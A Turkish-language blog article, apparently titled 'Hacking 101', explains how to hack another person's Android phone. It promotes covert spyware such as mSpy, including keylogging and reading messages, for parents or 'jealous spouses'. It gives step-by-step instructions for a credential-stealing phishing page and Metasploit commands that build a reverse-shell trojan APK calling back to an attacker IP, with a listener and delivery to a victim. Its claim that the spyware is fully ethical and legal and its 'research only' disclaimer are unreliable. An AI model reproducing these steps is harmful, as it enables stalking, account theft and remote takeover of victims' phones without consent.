Hacking 101 – Android Telefon Nasıl Hacklenir
Cep telefonları hayatımızın ayrılmaz bir parçası haline geldi. Çok büyük miktarda kişisel bilgiye sahipler ve tek başlarına neredeyse herkesin kişisel asistanı haline geldiler. Bu nedenlerden dolayı, en yaygın Google aramalarından biri, bir Android telefonun hacklenmesiyle ilgilidir.
Endişeli bir ebeveyn veya kıskanç bir eş olmanızdan bağımsız olarak, birinin telefonunu en iyi casus uygulamalar veya diğer araçlarla hacklemek istemenizin nedenleri değişir. Bu yazıda, aşağıdakiler gibi bazı Android bilgisayar korsanlığı tekniklerini ele alacağız:
- Sniffer araçları
- Android bilgisayar korsanlığı uygulamaları
- Kali Linux
- E-dolandırıcılık
Bir Android Telefonu Hacklemek için 6 Android Sniffer Aracı
Çoğu dijital cihaz gibi, Android telefonlar da belirli komutları gerçekleştirmek için koda güvenir. Sonuç olarak, birçok şirket bu kodu özel yazılımlar aracılığıyla nasıl kullanacağını öğrendi.
Bu tür yazılımlar aynı zamanda Android sniffer araçları olarak da bilinir ve çok çeşitli olanaklarla birlikte gelir. Hata ayıklayabilir, değiştirebilir ve hatta gelişmiş değişiklikler yapabilirler. Ayrıca, bu araçlar genellikle hem köklü hem de köklenmemiş cihazlarda çalışır.
Belirli görevleri gerçekleştirmek için kullanılabilecek 6 Android cihaz dinleme aracı ve Android bilgisayar korsanlığı uygulamaları şunlardır:
- ZAnti
- CSPloit
- Fing Ağı araçları
- Ağ yöneticisi
- yörünge robotu
- NMap
ZAnti Penetrasyon Testi Android Hacking Toolkit
ZAnti Penetrasyon Testi, bazı gelişmiş özelliklerle donatılmış güçlü bir Android cihazı koklama aracıdır. Yani, Android bilgisayar korsanlığı uygulaması, kullanıcıların sistem güvenlik açıklarını bulmak için kötü amaçlı teknikler kullanmasını sağlar.
Ancak, tüm özelliklere tam erişim elde etmek için, bu korsanlık uygulamasını köklü cihazlarda kullanmanız gerekir. ZAnti ile yapabileceğiniz bazı şeyler şunlardır:
- Metasploit
- Şifre kırma
- Ortadaki adam
Bu özellikler, “Android mobil internet üzerinden nasıl hacklenir?” sorusuna mükemmel bir cevap veriyor.
CSPloit – Bir Android Telefonu Bir Bilgisayardan Uzaktan Hackleyin
CSPloit, Android cihazları bir bilgisayardan uzaktan kesmek için kullanılabilecek başka bir harika bilgisayar korsanlığı uygulamasıdır. Tıpkı ZAnti gibi, bu bilgisayar korsanlığı uygulaması da yalnızca köklü cihazlarda çalışır.
Kullanıcılar, bağlı tüm cihazları görebilir ve kontrol edebilir, ayrıca özel ağlarına erişime izin verebilir veya bunları kısıtlayabilir. Diğer bazı olasılıklar şunları içerir:
- WiFi ve mobil hız testleri
- Tüm bağlı cihazları keşfetme
- Birinin WiFi’nizi çalıp çalmadığını görme
- IP tanıma
- Gelişmiş cep telefonu analizi
Ağ Yöneticisi: Kilitlendiğinde Bir Android Telefonu Hackleyin
Network Manager, Wifi bağlantılarını analiz etmek ve sorunlarını gidermek için kullanılan, profesyonel özelliklere sahip başka bir bilgisayar korsanlığı uygulaması seçeneğidir. Ancak, Paket yakalama gibi özelliklerin kök erişimi gerektirdiğini unutmayın.
Neyse ki, tüm seçenekler köklendirme gerektirmez, bu nedenle köklendirilmemiş bir cihazınız varsa, onu da kullanabilirsiniz. Android’i nasıl hackleyeceğinizi merak ediyorsanız bazı önemli özellikler şunlardır:
- IP hesaplayıcı
- iz yolu
- Telefon izleme grafiği
- WiFi tarayıcı
- WiFi analizörü
Orbot: Ücretsiz Android Hack Aracı
Orbot, en popüler ücretsiz Android bilgisayar korsanlığı araçları arasındadır. Web’de gezinirken veya birisini hacklemeye çalışırken kullanıcıların tamamen anonim kalmasını sağlayan bir proxy uygulaması görevi görür.
Orbot, gizliliğinizin bozulmadan kalmasını sağlamak için tüm kullanıcı trafiğini şifreler. TOR ağını ve VPN’yi kullanır. Ayrıca, potansiyel istismar güvenlik açıklarını tersine keşfetmek için de kullanabilirsiniz.
Nmap: Bir Android’i WiFi Üzerinden Hackleyin
Son olarak, başka bir ağ tarayıcı uygulaması olan NMap’e sahibiz. Bu uygulamayı, Android bilgisayar korsanlığı çabalarınıza yardımcı olmak veya cihazlarınızın istismar içermediğinden emin olmak için kullanabilirsiniz. İnternet bağlantınızı çalan cihazları keşfetmek gibi eksiksiz seçeneklerle birlikte gelir.
Bu listedeki diğer birçok uygulamanın aksine, NMap hem köklü hem de köklü olmayan cihazlarda mükemmel çalışır.
Ancak, bazı seçenekler kök erişimi gerektirir. En çok bağlı ağları eşleme özelliği ile bilinir.
Başka Bir Android Telefon Kullanarak Bir Android Telefon Nasıl Hacklenir
Başka bir Android cep telefonu kullanarak bir Android telefonu hacklemek neredeyse imkansız görünüyor, değil mi? Tam olarak değil. Bu eylemi gerçekleştirmek için yalnızca bir basit uygulamaya ihtiyacınız var.
mSpy, harika özelliklerle dolu kapsamlı bir Android bilgisayar korsanlığı aracıdır. Bu hack uygulamasını bu kadar harika yapan şey, birden fazla casusluk seçeneğine sahip olmasıdır – bir keylogger ve doğrudan Android telefon izleme.
Diğer uygulamaların çoğundan farklı olarak, bu uygulamanın kullanımı tamamen etik ve yasaldır. Ancak, bu uygulamanın kullanımının sizin yetki alanınızda yasal olduğundan emin olmak için yerel yasalarınızı kontrol edin. Bu uygulama, hedef cihaza erişim sağlamak için gerçek bilgisayar korsanlığı tekniklerini kullanmaz. Bu nedenle, gerçek bir bilgisayar korsanlığı değil, bunun yerine izleme olarak kabul edilir.
mSpy’ın kullanımı çok kolaydır ve tamamen yeni başlayanlar için uygundur. Yine de fiziksel erişim gerektirir ve bazı daha gelişmiş özellikler köklenme gerektirebilir. Android kullanarak nasıl hack yapacağınızı merak ediyorsanız, bu onu mükemmel kılar.
Yükleme işleminin tamamlanması yalnızca birkaç dakika sürer; bundan sonra, Android’lerinde web geçmişini silseler bile her şeyi bir kontrol paneli ana ekranından izleyebilirsiniz.
İzleme seçeneği şunları yapmanızı sağlar:
- Tüm gelen ve giden SMS mesajlarını görüntüleyin
- Tüm gelen telefon aramalarını ve giden aramaları görüntüleyin
- Hedef cihazın konumunu elde etmek için GPS kullanın
- Sosyal medya hesaplarına erişin – Facebook, Snapchat, Skype, Viber, WhatsApp, vb.
Öte yandan, keylogger özelliği, kullanıcıların hedef cihazda yapılan tüm tuş vuruşlarını izlemesini sağlar. Her vuruşu ve tıklamayı kaydederek kullanıcıların kritik bilgileri bir araya getirmesine olanak tanır. Arama ve indirme geçmişini, konuşmaları, oturum açma kimlik bilgilerini vb. görmek için kullanabilirsiniz. Her iki yükleme işlemi de aynı prensibi takip eder.
Bir abonelik planı satın alın → yazılımı indirin → kurulum talimatlarını izleyin → hedef cihaza kurun, hepsi bu kadar.
Bir Bağlantı Göndererek Bir Android Telefon Nasıl Hacklenir
Ayrıca, hedef kişinin oturum açma kimlik bilgilerini almak için bir indirme bağlantısı kullanan bir Android bilgisayar korsanlığı yöntemini de tercih edebilirsiniz. Bu teknik, bilgisayar korsanlığı dünyasında popüler bir yol olan kimlik avı olarak da bilinir.
Ancak, bu yöntemin biraz daha ayrıntılı ve zaman alıcı olduğunu unutmayın. Bunu yapabilmek için orta düzeyde bilgisayar bilgisine sahip olmanız gerekir.
Facebook gibi sahte bir giriş sayfası oluşturarak ve hedef kişiyi bağlantıyı açmaya ikna ederek çalışır. Kodlama ve sosyal mühendisliğin bir karışımı gibi. Kimlik avı sayfasının nasıl oluşturulacağıyla başlayalım. Aşağıda ayrıntılı bir kılavuz bulacaksınız.
- Kimliğine bürünmek istediğiniz bir platform seçin. Facebook, Skype vb. gibi hedef kişinin bir parçası olduğu popüler platformları hedefleyin.
- Web sitesine sağ tıklayıp Kaynağı Görüntüle’yi seçerek web sayfasının HTML kodunu edinin.
- Kod içeren bir pencere göreceksiniz. Tüm kodu seçin, kopyalayın ve Not Defteri’ndeki bir .txt belgesine yapıştırın.
- Farklı Kaydet’e gidin, Kaydetme Türünü Tüm Dosyalar olarak değiştirin ve index.html olarak adlandırın.
- Parolayı çalmak için bir PHP dosyası oluşturun; örnek kodları internetten bulabilirsiniz. Not Defteri’ne yapıştırın ve post.php olarak kaydedin
- Orijinaliyle aynı olan sahte bir web sitesi oluşturmak için ücretsiz bir barındırma hizmeti seçin.
- En son yaptığınız dosyaları web sitesindeki ana FTP sunucusuna yükleyin.
- Web sitesine orijinaline benzer bir ad verdiğinizden emin olun.
- Web sitenizin bağlantısını hedef kişiye gönderin ve açmasını bekleyin.
- Tamamlandığında, cihaz erişimlerini ve kimlik bilgilerini alacaksınız.
Kali Linux Kullanarak Uzaktan Android Telefonları Hackleme
Kali Linux, bilgisayar korsanları tarafından diğer cihazlara erişim sağlamak için kullanılan her yerde bulunan bir bilgisayar korsanlığı aracıdır. Bu, bir bilgisayara veya sanal diske kurulabilen bir işletim sistemidir. Bununla birlikte, bunun çok karmaşık ve zaman alıcı olan gelişmiş bir yöntem olduğunu unutmayın. Bu sistemin çalışması için Bilinmeyen kaynaklardan yükle seçeneği etkinleştirilmelidir. Ayrıca, bu hack tüm Android cihazlar için geçerli olmayabilir.
Yeni başlayan biriyseniz, yukarıda bahsettiğimiz casus uygulamaları kullanmanız daha iyi olabilir. Yine de göreve hazırsanız, işte nasıl yapılacağına dair kısa bir kılavuz. Size kolaylık sağlamak için kılavuzu üç alt kategoriye ayıracağız.
Bölüm 1 – Kali Linux’u Başlatma
- Bir terminal açın ve msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk yazarak bir Trojan.apk oluşturun.
- Yukarıdaki metindeki LHOST adresi, gerçek IP adresinizle değiştirilmelidir.
- Dosya oluşturulurken başka bir terminal açın
- msfconsole yazarak Metasploit konsolunu açın
Bölüm 2 – Bir Dinleyici Oluşturun
- Yüklendikten sonra, çoklu işleyici istismarını hazırlayın ve use exploit/multi/handler yazın
- Bir ters yük kümesi yükü oluştur Android/meterpreter/reverse_tcp
- LHOST türünü set LHOST 192.168.0.4 yazarak ayarlayın. Özel IP adresinizi kullanın
Bölüm 3 – Exploit’i Başlatın
- Dinleyiciyi başlatmak için tek yapmanız gereken aşağıdakini yazmaktır: exploit
- Oluşturduğunuz uygulamayı Android cihazınıza kopyalayın
- Dosyayı Dropbox veya diğer dosya aktarım hizmetleri aracılığıyla aktarın
- Dosyayı hedefe gönderin ve yüklemelerini bekleyin.
- Bir kez yaptıklarında, meterpreter istemi görünecektir
Android Casus Yazılımı Nedir ve Ne İçin Kullanılır?
Modern casus yazılımlar, başka birinin Android cihazına kişisel bir ağ geçidi görevi görebilir. Günümüzün casus uygulamaları, çoğu tüm hedef cihaz iletişimini izlemenizi sağlayan harika özelliklerle doludur. Ayrıca iOS, Windows, macOS vb. diğer işletim sistemlerinde de çalışırlar.
En yaygın casus uygulama özellikleri şunları içerir:
- tuş günlüğü
- Konum izleme
- Arama günlüklerini izleme
- Sosyal medya hesaplarına erişim – WhatsApp, Viber, Facebook, Instagram, Messenger, vb.
- İnternet verileri
- Konuşmaları gözetlemek
Bu uygulamaların popülaritesi, internet ve sosyal medyanın genişlemesi nedeniyle son yıllarda hızla arttı. Bu uygulamaları bu kadar kullanışlı yapan şey, çoklu kullanım olanağı sağlamalarıdır. Bunlar birçok potansiyel kullanımdan sadece bazıları:
- Web’de gezinirken çocuklarınızın güvende olmasını sağlamak
- Çalışanlarınızın üretken olmasını sağlamak
- Çalınan bir cihazı daha kolay kurtarabilmenizi sağlamak
Android Hack Uygulamaları Nasıl Çalışır?
Güçlü bir tarama teknolojisi üç şekilde kurulabilir:
Korumasız ücretsiz WiFi ağları (kamu alanları)
Bir kişi bir WiFi ağını kontrol ettiğinde ve güvenli olmayan bir bağlantı üzerinden veri ilettiğinde, saldırganlar o ağdayken yaptığı tüm eylemleri izleyebilir. Korunmasız bir WiFi ağı, bir bilgisayar korsanının Android’i nasıl hackleyeceğini araştırırken bulduğu ilk öneridir, bu nedenle her zaman dikkatli olmalı ve bir VPN kullanmalısınız.
Cihazın işletim sisteminin güvenlik açıkları, Android’de kötü amaçlı nesnelerin sızması için ön koşulları oluşturabilir.
Cep telefonu üreticileri, kullanıcıları korumak için genellikle işletim sistemlerinde güncellemeler yayınlar. Android cihazı zamanında güncellemediğinizde zayıflar. Ve kurulumdan önce gönderilecek kod olmadan uygulamaları hacklemek için kolay bir hedeftir.
Kötü amaçlı nesneler genellikle ilk bakışta sıradan programlarda saklanır
Bunları uygulama mağazasından değil, web sitelerinden veya indirme bağlantısı olan mesajlar aracılığıyla indirirseniz, bunun olasılığı artar. Birinin android hack uygulamasını yüklemesini istiyorsanız, ona “virüslü” bir bağlantı gönderin ve kullanıcı her şeyi kendisi yapacaktır. Hesabınızla saldırıya uğramış cihazları kaydetmeniz ve bağlamanız gerekecek.
Çözüm
Bir Android telefonu hacklemek istiyorsanız birçok yol var. Bu kılavuzda, kolaydan çok karmaşığa kadar uzanan yöntemleri kapsamlı bir şekilde araştırdık ve analiz ettik. Ancak, bu makalenin yalnızca araştırma amaçlı olduğunu unutmayın.
Sonuç olarak, casus uygulamalar gibi yalnızca etik ve yasal yöntemleri kullanmanızı şiddetle tavsiye ederiz. Aksi takdirde yasal sonuçlara maruz kalabilirsiniz. Ancak bunu yaptığınızda, bu uygulamaların kullanımına izin verildiğinden emin olmak için her zaman yerel yasalarınızı kontrol edin.